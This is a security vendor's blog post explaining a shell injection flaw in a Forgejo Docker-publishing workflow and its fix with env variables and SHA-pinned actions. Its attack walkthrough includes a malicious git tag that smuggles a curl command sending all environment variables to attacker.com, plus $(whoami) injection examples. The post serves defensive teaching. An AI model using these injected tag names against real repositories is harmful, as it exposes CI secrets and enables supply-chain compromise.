Back to Blog
high SEVERITY7 min read

How Shell Injection in GitHub Actions happens in YAML workflows and how to fix it

A high-severity shell injection vulnerability was discovered in `.forgejo/workflows/docker.yml` where `${{github.ref}}` and `${{github.ref_name}}` were directly interpolated into a bash `run:` step. An attacker could craft malicious git reference names to inject arbitrary commands into the CI runner, potentially stealing secrets and source code. The fix moves these values into intermediate environment variables, preventing command injection.

O
By Orbis AppSec
Published August 8, 2026Reviewed August 8, 2026

Answer Summary

Shell injection in GitHub Actions workflows (CWE-78) occurs when `${{...}}` expressions containing untrusted `github` context data are directly interpolated into `run:` step shell commands. In this Forgejo workflow, `${{github.ref}}` and `${{github.ref_name}}` were used directly in bash conditionals and variable assignments, allowing attackers to inject commands via malicious git tag or branch names. The fix assigns these values to environment variables (`GH_REF`, `GH_REF_NAME`) in the step's `env:` block and references them as quoted shell variables (`"$GH_REF"`), ensuring they're treated as literal strings rather than executable code.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixMove GitHub context values to env: variables, reference as quoted shell variables
riskRemote code execution on CI runner, secret exfiltration, supply chain compromise
languageYAML (GitHub Actions workflow) with Bash
root causeDirect interpolation of `${{github.ref}}` and `${{github.ref_name}}` into bash run: commands
vulnerabilityShell injection via GitHub Actions expression interpolation

The Vulnerability: Direct Expression Interpolation in CI Workflows

In a Forgejo workflow file (.forgejo/workflows/docker.yml), we discovered a high-severity shell injection vulnerability at line 42. The workflow's "Compute image tags" step directly interpolated GitHub context expressions into a bash script:

- name: Compute image tags
  id: tags
  run: |
    IMAGE="${{ steps.reg.outputs.image }}"
    if [[ "${{ github.ref }}" == refs/tags/v* ]]; then
      # Official release (git tag vX.Y.Z pushed) — update :latest and the versioned tag.
      VERSION="${{ github.ref_name }}"
      VERSION="${VERSION#v}"
      TAGS="${IMAGE}:latest,${IMAGE}:${VERSION}"
    else
      TAGS="${IMAGE}:edge"
    fi
    echo "tags=$TAGS" >> $GITHUB_OUTPUT

The critical issue lies in how ${{ github.ref }} and ${{ github.ref_name }} are used. These expressions are evaluated by the GitHub Actions runner before the shell sees them, meaning their content is directly substituted into the bash script. Since git reference names can be created by anyone who can push to the repository (or submit a pull request in some configurations), this creates an injection point.

Why This Matters for CI/CD Security

GitHub Actions workflows are prime targets for supply chain attacks. A successful compromise can:

  • Exfiltrate secrets: The runner has access to repository secrets like REGISTRY_USER and REGISTRY_TOKEN (visible in line 61-62 of the workflow)
  • Modify build artifacts: Inject backdoors into Docker images before they're published
  • Steal source code: Access the checked-out repository contents
  • Pivot to infrastructure: Use stolen credentials to access production systems

This workflow builds and publishes Docker images to a container registry—a critical point in the software supply chain. An attacker who can inject commands here effectively controls what gets deployed.

How the Attack Works

Let's walk through a concrete attack scenario using this specific workflow:

Attack Setup: An attacker creates a git tag with a malicious name:

git tag 'v1.0.0"; curl -X POST https://attacker.com/exfil -d "$(env)" #'
git push origin 'v1.0.0"; curl -X POST https://attacker.com/exfil -d "$(env)" #'

What Happens: When the workflow runs, the GitHub Actions runner substitutes the tag name into the script:

# After ${{ github.ref_name }} interpolation:
VERSION="v1.0.0"; curl -X POST https://attacker.com/exfil -d "$(env)" #"

The bash interpreter sees this as three commands:
1. VERSION="v1.0.0" - sets the version variable
2. curl -X POST https://attacker.com/exfil -d "$(env)" - exfiltrates all environment variables (including secrets)
3. #" - comments out the remaining quote, preventing syntax errors

The Result: The attacker receives all environment variables, including:
- REGISTRY_USER and REGISTRY_TOKEN from the workflow secrets
- GITHUB_TOKEN with repository access
- Any other secrets configured in the workflow

The workflow continues normally, publishing the Docker image, so the attack may go unnoticed.

The Vulnerability in Detail

The problematic code pattern appears twice in the vulnerable step:

Issue 1 - Conditional check (line 47):

if [[ "${{ github.ref }}" == refs/tags/v* ]]; then

After interpolation with a malicious ref like refs/tags/v1.0$(whoami), this becomes:

if [[ "refs/tags/v1.0$(whoami)" == refs/tags/v* ]]; then

The command substitution $(whoami) executes before the comparison.

Issue 2 - Variable assignment (line 49):

VERSION="${{ github.ref_name }}"

With a malicious tag name like 1.0;malicious-command;, this becomes:

VERSION="1.0;malicious-command;"

The semicolons allow command chaining, and while the quotes might seem protective, subsequent uses of $VERSION (like in line 51: VERSION="${VERSION#v}") can trigger further evaluation.

The Fix: Environment Variable Isolation

The security patch introduces an isolation boundary using environment variables:

- name: Compute image tags
  id: tags
  env:
    GH_REF: ${{ github.ref }}
    GH_REF_NAME: ${{ github.ref_name }}
  run: |
    IMAGE="${{ steps.reg.outputs.image }}"
    if [[ "$GH_REF" == refs/tags/v* ]]; then
      # Official release (git tag vX.Y.Z pushed) — update :latest and the versioned tag.
      VERSION="$GH_REF_NAME"
      VERSION="${VERSION#v}"
      TAGS="${IMAGE}:latest,${IMAGE}:${VERSION}"
    else
      TAGS="${IMAGE}:edge"
    fi
    echo "tags=$TAGS" >> $GITHUB_OUTPUT

Key Changes:

  1. Lines 42-44: New env: block assigns GitHub context values to environment variables:
    - GH_REF: ${{ github.ref }}
    - GH_REF_NAME: ${{ github.ref_name }}

  2. Line 47: Conditional now uses "$GH_REF" instead of "${{ github.ref }}"

  3. Line 49: Assignment now uses "$GH_REF_NAME" instead of "${{ github.ref_name }}"

Why This Works:

When you define environment variables in the env: block, the GitHub Actions runner sets them in the shell environment before the script executes. Crucially, environment variable values are passed to the shell as literal strings—no interpretation of special characters occurs during the assignment.

When the bash script references "$GH_REF", the shell performs variable expansion but treats the content as a literal string. Even if the value contains shell metacharacters like ;, $(), or backticks, they remain inert because they're not being parsed as shell syntax.

Before (vulnerable):

# github.ref = 'refs/tags/v1.0$(whoami)'
if [[ "refs/tags/v1.0$(whoami)" == refs/tags/v* ]]; then
#                   ^^^^^^^^^^^ - command substitution executes!

After (secure):

# GH_REF environment variable contains the literal string: refs/tags/v1.0$(whoami)
if [[ "$GH_REF" == refs/tags/v* ]]; then
#      ^^^^^^^ - expanded as literal string, $() characters remain inert

Additional Security Improvements

The PR also includes three other important security enhancements:

Action Version Pinning (lines 19, 22, 25, 56):

- uses: https://github.com/actions/checkout@v4.2.2
+ uses: https://github.com/actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

Instead of using mutable version tags like @v4.2.2, the workflow now pins to specific Git commit SHAs. This prevents supply chain attacks where an attacker compromises an action's repository and force-pushes malicious code to an existing version tag.

The pattern is repeated for:
- docker/setup-qemu-action@c7c53464625b32c7a7e944ae62b3e17d2b600130
- docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f
- docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9

Each SHA is followed by a comment indicating the semantic version for human readability.

Key Takeaways

  • Never interpolate ${{github.*}} directly into run: steps: The .forgejo/workflows/docker.yml file's direct use of ${{github.ref}} in bash conditionals created an exploitable shell injection point
  • The env: block is a security boundary: Moving github.ref and github.ref_name to environment variables (GH_REF, GH_REF_NAME) prevents shell metacharacter interpretation
  • Quote your environment variables: Always use "$ENVVAR" syntax when referencing environment variables in shell scripts to prevent word splitting and glob expansion
  • Commit SHAs over version tags: The workflow now pins actions like actions/checkout to immutable commit SHAs (e.g., @11bd71901bbe5b1630ceea73d27597364c9af683) instead of mutable tags like @v4.2.2
  • Docker workflows are high-value targets: This workflow publishes images to a registry using REGISTRY_USER and REGISTRY_TOKEN secrets—a compromised workflow could inject backdoors into production containers

How Orbis AppSec Detected This

  • Source: Untrusted input from github.ref and github.ref_name context properties, which can be controlled by anyone who can create git references
  • Sink: Direct interpolation into bash run: script at .forgejo/workflows/docker.yml:47 and :49 using ${{...}} expression syntax
  • Missing control: No intermediate environment variable to isolate the untrusted data from shell interpretation
  • CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Introduced env: block with GH_REF and GH_REF_NAME variables, changed script to reference these quoted environment variables instead of direct interpolation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Shell injection in GitHub Actions workflows represents a critical supply chain risk that's easy to overlook. The pattern is subtle—${{...}} expressions look like template syntax, not code execution. But in run: steps, they're evaluated before the shell sees the script, making them equivalent to string concatenation in SQL injection.

The fix demonstrated here—using environment variables as an isolation boundary—is simple, effective, and should be applied universally. Every ${{github.*}} expression in a run: step is a potential injection point.

As CI/CD systems become increasingly targeted by sophisticated attackers, defensive hardening like this isn't optional. Even if you trust your contributors today, threat models evolve. Removing exploit primitives proactively makes your infrastructure resilient against tomorrow's attacks.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #18

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.

high

How command injection happens in JavaScript/Node.js and how to fix it

A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.